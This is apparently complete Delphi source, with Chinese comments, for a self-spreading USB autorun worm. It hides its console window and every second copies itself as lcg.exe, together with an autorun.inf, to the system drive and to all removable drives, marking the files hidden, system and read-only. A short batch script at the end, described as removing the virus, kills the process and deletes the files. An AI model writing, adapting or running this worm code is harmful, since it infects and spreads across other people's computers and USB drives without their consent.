program Project1;

{$APPTYPE CONSOLE}

uses
   windows, Tlhelp32,   SysUtils;

//===========================获得系统目录=======================================
function GetWinDir: string;
var
   Buf: array[0..MAX_PATH] of char;
begin
   GetSystemDirectory(Buf, MAX_PATH);
   Result := Buf;
   if Result[Length(Result)] <> '\' then Result := Result + '\';
end;

//================================end===========================================
//=======================复制文件========begin==================================
procedure copyfilecopyfile;
var
s,s1,s2,s3:string;
i:char;
inf:textfile;
begin
//========================创建autorun.inf文件===================================
begin
s:=ExpandFileName(ParamStr(0));    //获取本程序的完整路径
s1:=ExtractFileDir(ParamStr(0))+'\autorun.inf';
FileSetAttr(s,0);
FileSetAttr(s1,0);
assignfile(inf, 'Autorun.inf');
rewrite(inf);
writeln(inf, '[AutoRun]');
writeln(inf, '');
writeln(inf, 'open=lcg.exe');
writeln(inf, 'shell\open=打开(&O)');
writeLn(inf, 'shell\open\Command=lcg.exe');
writeln(inf, 'shell\open\Default=1');
writeln(inf, 'shell\explore=资源管理器(&X)');
writeln(inf, 'shell\explore\Command=lcg.EXE');
closefile(inf);
end;
//=====================================end======================================
//=============================将文件复制到系统盘符下===========================
    s2:=copy(getwindir,1,1);
    s3:=pchar(s2+':\autorun.inf');
    s2:=pchar(s2+':\lcg.exe');
    copyfile(pchar(s),pchar(s2),false);
    copyfile(pchar(s1),pchar(s3),false);
    FileSetAttr(s2,7);
    FileSetAttr(s3,7);
//==================================end=========================================
//=============================将文件复制到可移动磁盘===========================
for i:='C' to 'Z' do
if GETDRIVETYPE (PChar(i+':\'))=DRIVE_REMOVABLE then
begin
    s2:=i;
    s3:=pchar(i+':\autorun.inf');
    s2:=pchar(s2+':\lcg.exe');
    copyfile(pchar(s),pchar(s2),false);
    copyfile(pchar(s1),pchar(s3),false);
    FileSetAttr(s2,7);
    FileSetAttr(s3,7);
   end;

//================================end===========================================

end;
var
   win: longint;
   msg: Tmsg;
begin

   win := getforegroundwindow; //获取当前窗体的句柄
   showwindow(win, SW_HIDE); //隐藏窗体
   SetTimer(0, 10, 1000, @copyfilecopyfile); //定时间器，一秒钟扫描一次
   //WinexEc(pchar('copybat.bat'), SW_Hide);     //这里是隐藏控制台
   while GetMessage(msg, 0, 0, 0) do DispatchMessage(msg);
   KillTimer(0, 10);
end.

删除病毒的批处理：

@echo off
taskkill /f /im lcg.exe
cd\
for /d %%i in (C,d,,e,f,g,h,I,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z) do attrib -s -a -r -h %%i:\autorun.inf&attrib -s -a -r -h   %%i:\lcg.exe& del %%i:\lcg.exe&del %%i:\autorun.inf